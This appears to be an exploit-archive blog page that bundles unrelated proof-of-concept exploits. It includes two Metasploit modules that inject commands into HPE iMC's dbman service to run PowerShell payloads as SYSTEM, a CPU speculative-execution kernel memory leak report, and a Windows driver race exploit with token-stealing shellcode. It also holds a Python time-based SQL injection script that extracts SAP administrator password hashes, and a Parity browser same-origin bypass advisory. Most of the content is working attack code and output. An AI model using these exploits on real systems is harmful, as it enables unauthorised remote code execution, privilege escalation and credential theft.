##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.
The dbman service allows unauthenticated remote users to restore
a user-specified database (OpCode 10007), however the database
connection username is not sanitized resulting in command injection,
allowing execution of arbitrary operating system commands as SYSTEM.
This service listens on TCP port 2810 by default.
This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5817'],
['EDB', '43195'],
['ZDI', '17-341'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end
def check
# empty RestoreDBase packet
pkt = [10007].pack('N')
connect
sock.put pkt
res = sock.get_once
disconnect
# Expected reply:
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i
CheckCode::Safe
end
def dbman_msg(database_user)
data = ''
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
database_type = "\x03" # MySQL
restore_type = 'MANUAL'
database_password = rand_text_alpha rand(1..5)
database_port = rand_text_alpha rand(1..5)
database_instance = rand_text_alpha rand(1..5)
junk = rand_text_alpha rand(1..5)
# database ip
data << "\x04"
data << [db_ip.length].pack('C')
data << db_ip
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# junk
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x02\x01\x01"
# database type
data << "\x02"
data << [database_type.length].pack('C')
data << database_type
# restore type
data << "\x04"
data << [restore_type.length].pack('C')
data << restore_type
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# database user
data << "\x04"
data << "\x82"
data << [database_user.length].pack('n')
data << database_user
# database password
data << "\x04"
data << [database_password.length].pack('C')
data << database_password
# database port
data << "\x04"
data << [database_port.length].pack('C')
data << database_port
# database instance
data << "\x04"
data << [database_instance.length].pack('C')
data << database_instance
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x30\x00"
data << "\x02\x01\x01"
data
end
def dbman_restoredbase_pkt(database_user)
data = dbman_msg database_user
# opcode 10007 (RestoreDBase)
pkt = [10007].pack('N')
# packet length
pkt << "\x00\x00"
pkt << [data.length + 4].pack('n')
# packet data length
pkt << "\x30\x82"
pkt << [data.length].pack('n')
# packet data
pkt << data
pkt
end
def execute_command(cmd, _opts = {})
connect
sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
disconnect
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end
print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863555936
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
== INTRODUCTION ==
This is a bug report about a CPU security issue that affects
processors by Intel, AMD and (to some extent) ARM.
I have written a PoC for this issue that, when executed in userspace
on an Intel Xeon CPU E5-1650 v3 machine with a modern Linux kernel,
can leak around 2000 bytes per second from Linux kernel memory after a
~4-second startup, in a 4GiB address space window, with the ability to
read from random offsets in that window. The same thing also works on
an AMD PRO A8-9600 R7 machine, although a bit less reliably and slower.
On the Intel CPU, I also have preliminary results that suggest that it
may be possible to leak host memory (which would include memory owned
by other guests) from inside a KVM guest.
The attack doesn't seem to work as well on ARM - perhaps because ARM
CPUs don't perform as much speculative execution because of a
different performance-energy-tradeoff or so?
All PoCs are written against specific processors and will likely
require at least some adjustments before they can run in other
environments, e.g. because of hardcoded timing tresholds.
############################################################
On the following Intel CPUs (the only ones tested so far), we managed
to leak information using another variant of this issue ("variant 3").
So far, we have not managed to leak information this way on AMD or ARM CPUs.
- Intel(R) Xeon(R) CPU E5-1650 v3 @ 3.50GHz (in a workstation)
- Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz (in a laptop)
Apparently, on Intel CPUs, loads from kernel mappings in ring 3 during
speculative execution have something like the following behavior:
- If the address is not mapped (perhaps also under other
conditions?), instructions that depend on the load are not executed.
- If the address is mapped, but not sufficiently cached, the load loads zeroes.
Instructions that depend on the load are executed.
Perhaps Intel decided that in case of a sufficiently high-latency load,
it makes sense to speculate ahead with a dummy value to get a chance to
prefetch cachelines for dependent loads, or something like that?
- If the address is sufficiently cached, the load loads the data stored at the
given address, without respecting the privilege level.
Instructions that depend on the load are executed.
This is the vulnerable case.
I have attached a PoC that works on both tested Intel systems, named
intel_kernel_read_poc.tar. Usage:
As root, determine where the core_pattern is in the kernel:
=====
# grep core_pattern /proc/kallsyms
ffffffff81e8aea0 D core_pattern
=====
Then, as a normal user, unpack the PoC and use it to leak the
core_pattern (and potentially other cached things around it) from
kernel memory, using the pointer from the previous step:
=====
$ cat /proc/sys/kernel/core_pattern
/cores/%E.%p.%s.%t
$ ./compile.sh && time ./poc_test ffffffff81e8aea0 4096
ffffffff81e8aea0 2f 63 6f 72 65 73 2f 25 45 2e 25 70 2e 25 73 2e
|/cores/%E.%p.%s.|
ffffffff81e8aeb0 25 74 00 61 70 70 6f 72 74 20 25 70 20 25 73 20
|%t.apport %p %s |
ffffffff81e8aec0 25 63 20 25 50 00 00 00 00 00 00 00 00 00 00 00 |%c
%P...........|
[ zeroes ]
ffffffff81e8af20 c0 a4 e8 81 ff ff ff ff c0 af e8 81 ff ff ff ff
|................|
ffffffff81e8af30 20 8e f0 81 ff ff ff ff 75 d9 cd 81 ff ff ff ff |
.......u.......|
[ zeroes ]
ffffffff81e8bb60 65 5b cf 81 ff ff ff ff 00 00 00 00 00 00 00 00
|e[..............|
ffffffff81e8bb70 00 00 00 00 6d 41 00 00 00 00 00 00 00 00 00 00
|....mA..........|
[ zeroes ]
real 0m13.726s
user 0m9.820s
sys 0m3.908s
=====
As you can see, the core_pattern, part of the previous core_pattern (behind the
first nullbyte) and a few kernel pointers were leaked.
To confirm whether other leaked kernel data was leaked correctly, use gdb as
root to read kernel memory:
=====
# gdb /bin/sleep /proc/kcore
[...]
(gdb) x/4gx 0xffffffff81e8af20
0xffffffff81e8af20: 0xffffffff81e8a4c0 0xffffffff81e8afc0
0xffffffff81e8af30: 0xffffffff81f08e20 0xffffffff81cdd975
(gdb) x/4gx 0xffffffff81e8bb60
0xffffffff81e8bb60: 0xffffffff81cf5b65 0x0000000000000000
0xffffffff81e8bb70: 0x0000416d00000000 0x0000000000000000
=====
Note that the PoC will report uncached bytes as zeroes.
To Intel:
Please tell me if you have trouble reproducing this issue.
Given how different my two test machines are, I would be surprised if this
didn't just work out of the box on other CPUs from the same generation.
This PoC doesn't have hardcoded timings or anything like that.
We have not yet tested whether this still works after a TLB flush.
Regarding possible mitigations:
A short while ago, Daniel Gruss presented KAISER:
https://gruss.cc/files/kaiser.pdf
https://lkml.org/lkml/2017/5/4/220 (cached:
https://webcache.googleusercontent.com/search?q=cache:Vys_INYdkOMJ:https://lkml.org/lkml/2017/5/4/220+&cd=1&hl=en&ct=clnk&gl=ch
)
https://github.com/IAIK/KAISER
Basically, the issue that KAISER tries to mitigate is that on Intel
CPUs, the timing of a pagefault reveals whether the address is
unmapped or mapped as kernel-only (because for an unmapped address, a
pagetable walk has to occur while for a mapped address, the TLB can be
used). KAISER duplicates the top-level pagetables of all processes and
switches them on kernel entry and exit. The kernel's top-level
pagetable looks as before. In the top-level pagetable used while
executing userspace code, most entries that are only used by the
kernel are zeroed out, except for the kernel text and stack that are
necessary to execute the syscall/exception entry code that has to
switch back the pagetable.
I suspect that this approach might also be usable for mitigating
variant 3, but I don't know how much TLB flushing / data cache
flushing would be necessary to make it work.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43490.zip
// ConsoleApplication1.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#include <winioctl.h>
#define device L"\\\\.\\WINDRVR1251"
#define SPRAY_SIZE 30000
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
/*
* The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
__declspec(naked) VOID TokenStealingShellcode() {
__asm {
hasRun:
xor eax, eax; Set zero
cmp byte ptr [eax], 1; If this is 1, we have already run this code
jz End;
mov byte ptr [eax], 1; Indicate that this code has been hit already
; initialize
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
; begin system token search loop
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
End :
ret 0x10; cleanup for cdecl
}
}
BOOL map_null_page()
{
/* Begin NULL page map */
HMODULE hmodule = LoadLibraryA("ntdll.dll");
if (hmodule == INVALID_HANDLE_VALUE)
{
printf("[x] Couldn't get handle to ntdll.dll\n");
return FALSE;
}
PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
if (AllocateVirtualMemory == NULL)
{
printf("[x] Couldn't get address of NtAllocateVirtualMemory\n");
return FALSE;
}
SIZE_T size = 0x1000;
PVOID address = (PVOID)0x1;
NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
&address,
0,
&size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (allocStatus != 0)
{
printf("[x] Error mapping null page\n");
return FALSE;
}
printf("[+] Mapped null page\n");
return TRUE;
}
/*
* Continually flip the size
* @Param user_size - a pointer to the user defined size
*/
DWORD WINAPI flip_thread(LPVOID user_size)
{
printf("[+] Flipping thread started\n");
while (TRUE)
{
*(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow.
}
return 0;
}
DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
char out_buff[40];
DWORD bytes_returned;
HANDLE hdevice = CreateFile(device,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
if (hdevice == INVALID_HANDLE_VALUE)
{
printf("[x] Couldn't open device\n");
}
NTSTATUS ret = DeviceIoControl(hdevice,
0x95382623,
user_buff,
0x1000,
out_buff,
40,
&bytes_returned,
0);
CloseHandle(hdevice);
return 0;
}
void spray_pool(HANDLE handle_arr[])
{
//create SPRAY_SIZE event objects filling up the pool
for (int i = 0; i < SPRAY_SIZE; i++)
{
handle_arr[i] = CreateEvent(NULL, 0, NULL, L"");
}
for (int i = 0; i < SPRAY_SIZE; i+=50)
{
for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
{
CloseHandle(handle_arr[j + i]);
handle_arr[j + i] = 0;
}
}
}
void free_events(HANDLE handle_arr[])
{
for (int i = 0; i < SPRAY_SIZE; i++)
{
if (handle_arr[i] != 0)
{
CloseHandle(handle_arr[i]);
}
}
}
BOOL check_priv_count(DWORD old_count, PDWORD updated_count)
{
HANDLE htoken;
DWORD length;
DWORD temp;
DWORD new_count;
PTOKEN_PRIVILEGES current_priv = NULL;
if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken))
{
printf("[x] Couldn't get current token\n");
return FALSE;
}
//get the size required for the current_priv allocation
GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);
//allocate memory for the structure
current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);
//get the actual token info
GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length);
new_count = current_priv->PrivilegeCount;
HeapFree(GetProcessHeap(), 0, current_priv);
CloseHandle(htoken);
temp = old_count; //store the old count
*updated_count = new_count; //update the count
if (new_count > old_count)
{
printf("[+] We now have %d privileges\n", new_count);
return TRUE;
}
else
return FALSE;
}
int main()
{
HANDLE h_flip_thread;
HANDLE h_ioctl_thread;
HANDLE handle_arr[SPRAY_SIZE] = { 0 };
DWORD mask = 0;
DWORD orig_priv_count = 0;
char *user_buff;
check_priv_count(-1, &orig_priv_count);
printf("[+] Original priv count: %d\n", orig_priv_count);
if (!map_null_page())
{
return -1;
}
*(ULONG *)0x74 = (ULONG)&TokenStealingShellcode;
user_buff = (char *)VirtualAlloc(NULL,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_NOCACHE | PAGE_READWRITE);
if (user_buff == NULL)
{
printf("[x] Couldn't allocate memory for buffer\n");
return -1;
}
memset(user_buff, 0x41, 0x1000);
*(ULONG *)(user_buff + 0x34) = 0x00000052; //set the size initially to 0x51
//pool header block
*(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
*(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block
*(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
*(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
*(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
*(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block
*(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
*(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
*(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
*(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
*(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
*(ULONG *)(user_buff + 0x400) = 0x00000000;
*(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
/*
* create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34
* Set its priority to highest.
* Set its mask so that it runs on a particular core.
*/
h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_flip_thread, 0);
ResumeThread(h_flip_thread);
printf("[+] Starting race...\n");
spray_pool(handle_arr);
while (TRUE)
{
h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_ioctl_thread, 1);
ResumeThread(h_ioctl_thread);
WaitForSingleObject(h_ioctl_thread, INFINITE);
free_events(handle_arr); //free the event objects
if (check_priv_count(orig_priv_count, &orig_priv_count))
{
printf("[+] Breaking out of loop, popping shell!\n");
break;
}
//pool header block
*(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
*(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block
*(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
*(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
*(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
*(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block
*(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
*(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
*(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
*(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
*(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
*(ULONG *)(user_buff + 0x400) = 0x00000000;
*(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
spray_pool(handle_arr);
}
system("cmd.exe");
return 0;
}
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.
The dbman service allows unauthenticated remote users to restart
a user-specified database instance (OpCode 10008), however the
instance ID is not sanitized, allowing execution of arbitrary
operating system commands as SYSTEM. This service listens on
TCP port 2810 by default.
This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5816'],
['EDB', '43198'],
['ZDI', '17-340'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end
def check
# empty RestartDB packet
pkt = [10008].pack('N')
connect
sock.put pkt
res = sock.get_once
disconnect
# Expected reply:
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i
CheckCode::Safe
end
def dbman_msg(db_instance)
data = ''
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
db_type = "\x04" # SQL Server
db_sa_username = rand_text_alpha rand(1..5)
db_sa_password = rand_text_alpha rand(1..5)
ora_db_ins = rand_text_alpha rand(1..5)
# dbIp
data << "\x04"
data << [db_ip.length].pack('C')
data << db_ip
# iDBType
data << "\x02"
data << [db_type.length].pack('C')
data << db_type
# dbInstance
data << "\x04"
data << "\x82"
data << [db_instance.length].pack('n')
data << db_instance
# dbSaUserName
data << "\x04"
data << [db_sa_username.length].pack('C')
data << db_sa_username
# dbSaPassword
data << "\x04"
data << [db_sa_password.length].pack('C')
data << db_sa_password
# strOraDbIns
data << "\x04"
data << [ora_db_ins.length].pack('C')
data << ora_db_ins
data
end
def dbman_restartdb_pkt(db_instance)
data = dbman_msg db_instance
# opcode 10008 (RestartDB)
pkt = [10008].pack('N')
# packet length
pkt << "\x00\x00"
pkt << [data.length + 4].pack('n')
# packet data length
pkt << "\x30\x82"
pkt << [data.length].pack('n')
# packet data
pkt << data
pkt
end
def execute_command(cmd, _opts = {})
connect
sock.put dbman_restartdb_pkt "\"& #{cmd} &"
disconnect
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end
print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end
#!/usr/bin/env python
# coding=utf-8
"""
Author: Vahagn Vardanyan https://twitter.com/vah_13
Bugs:
CVE-2016-2386 SQL injection
CVE-2016-2388 Information disclosure
CVE-2016-1910 Crypto issue
Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: nw74:50000
Content-Length: 500
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
<soapenv:Header/>
<soapenv:Body>
<sec:deletePermissionById>
<permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
</sec:deletePermissionById>
</soapenv:Body>
</soapenv:Envelope>
In SAP test server I have admin user who login is "Administrator" and so I used this payload
%PRIVATE_DATASOURCE.un:Administrator%
most SAP's using j2ee_admin username for SAP administrator login
%PRIVATE_DATASOURCE.un:j2ee_admin%
You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)
1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
2) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#
Instead of J2EE_CONFIGENTRY table you can use this tables
UME_STRINGS_PERM
UME_STRINGS_ACTN
BC_DDDBDP
BC_COMPVERS
TC_WDRR_MRO_LUT
TC_WDRR_MRO_FILES
T_CHUNK !!! very big table, if SAP server will not response during 20 seconds then you have SQL injection
T_DOMAIN
T_SESSION
UME_ACL_SUP_PERM
UME_ACL_PERM
UME_ACL_PERM_MEM
An example of a working exploit
C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000
start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit
this may take a few minutes
Found {SHA-512, 10000, 24}M
Found {SHA-512, 10000, 24}MT
Found {SHA-512, 10000, 24}MTI
Found {SHA-512, 10000, 24}MTIz
Found {SHA-512, 10000, 24}MTIzU
Found {SHA-512, 10000, 24}MTIzUV
Found {SHA-512, 10000, 24}MTIzUVd
Found {SHA-512, 10000, 24}MTIzUVdF
Found {SHA-512, 10000, 24}MTIzUVdFY
Found {SHA-512, 10000, 24}MTIzUVdFYX
Found {SHA-512, 10000, 24}MTIzUVdFYXN
Found {SHA-512, 10000, 24}MTIzUVdFYXNk
Found {SHA-512, 10000, 24}MTIzUVdFYXNk8
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X
And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text
base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹ºX
"""
import argparse
import requests
import string
_magic = "{SHA-512, 10000, 24}"
_wrong_magic = "{SHA-511, 10000, 24}"
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \
"xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n " \
"<sec:deletePermissionById>\r\n <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \
"UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \
"0}%') AND '1'='1</permissionId>\r\n </sec:deletePermissionById>\r\n </soapenv:Body>\r\n</soapenv:Envelope> "
host = ""
port = 0
_dictionary = string.digits + string.uppercase + string.lowercase
def _get_timeout(_data):
return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port),
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 "
"Firefox/57.0",
"SOAPAction": "",
"Content-Type": "text/xml;charset=UTF-8"
},
data=_xml.format(_data)).elapsed.total_seconds()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--host')
parser.add_argument('--port')
parser.add_argument('-v')
args = parser.parse_args()
args_dict = vars(args)
host = args_dict['host']
port = args_dict['port']
print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
_hash = _magic
print "this may take a few minutes"
for i in range(24): # you can change it if like to get full hash
for _char in _dictionary:
if not (args_dict['v'] is None):
print "checking {0}".format(_hash + _char)
if _get_timeout(_hash + _char) > 1.300: # timeout for local SAP server
_hash += _char
print "Found " + _hash
break
VuNote
======
Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016
Version: 0.3
Date: Jun 16th, 2017
Tag: parity same origin policy bypass webproxy token reuse
Overview
--------
Name: parity
Vendor: paritytech
References: * https://parity.io/ [1]
Version: 1.6.8
Latest Version: 1.7.12 (stable) - fixed
1.8.5 (beta) - fixed
Other Versions: <= 1.6.10 (stable) - vulnerable
Platform(s): cross
Technology: rust js
Vuln Classes: CWE-346
Origin: local (remote website, malicious dapp)
Min. Privs.: ---
CVE: CVE-2017-18016
Description
---------
quote website [1]
>Parity Technologies is proud to present our powerful new Parity Browser. Integrated directly into your Web browser, Parity is the fastest and most secure way of interacting with the Ethereum network.
Summary
-------
PoC: https://tintinweb.github.io/pub/pocs/cve-2017-18016/ [4]
> Parity Browser <=1.6.8 allows remote attackers to bypass the Same Origin Policy and obtain sensitive information by requesting other websites via the Parity web proxy engine (reusing the current website's token, which is not bound to an origin).

**(A)** Ethereum Parity's built-in dapp/web-browsing functionality is
rendering browser same-origin policy (SOP) ineffective by proxying
requests with the parity main process. As a result, any website
navigated to ends up being origin http://localhost:8080. This also means
that all websites navigated to share the same origin and thus are not
protected by the browser SOP allowing any proxied website/dapp to access
another proxied website/dapp's resources (Cookies, ...).
//see attached PoC - index.html / PoC

**(B)** Worse, due to the structure of proxy cache urls and the fact that they
contain a reusable non-secret non-url specific cache-token it is
possible for one proxied website/dapp to navigate to any other proxied
website/dapp gaining full script/XHR control due to **(A)** the SOP being
applied without any restrictions. This could allow a malicious
website/dapp to take control of another website/dapp, performing user
interactions, XHR or injecting scripts/DOM elements to mislead the
user or to cause other unspecified damage.
When navigating to a website with the built-in parity webbrowser a webproxy request
token is requested and sent along an encoded request for an url. For example, navigating
parity to http://oststrom.com the url gets turned into a proxy url like http://127.0.0.1:8080/web/8X4Q4EBJ71SM2CK6E5AQ6YBNB4NPGX3ME0X2YBVFEDT76X3JDXPJWRVFDM of
the form http://127.0.0.1:8080/web/[base32_encode(token+url)]. A malicious dapp can use
this information to decode its own url, extract the token and reuse it for any other
url as the token is not locked to the url. The PoC exploits this in order to load any
other website into a same-origin iframe by reusing the proxy token.
Code see [2]
//see attached PoC - index.html / PoC
Proof of Concept
----------------
Prerequisites:
* (if hosted locally) modify /etc/hosts to resolve your testdomain to your webserver
* make `index.html` accessible on a webserver (e.g. `cd /path/to/index.html; python -m SimpleHTTPServer 80`)
1. launch parity, navigate to the built-in webbrowser (http://127.0.0.1:8180/#/web)
2. navigate the built-in parity webbrowser to where the PoC `index.html` is hosted (e.g. [4])
3. follow the instructions.
4. Issue 1: navigate to some websites to have them set cookies, reload the PoC page and click "Display Cookies". Note that while the main request is proxied by parity, subsequent calls might not be (e.g. xhr, resources). That means you'll only see cookies set by the main site as only the initial call shares the origin `localhost:8080`.
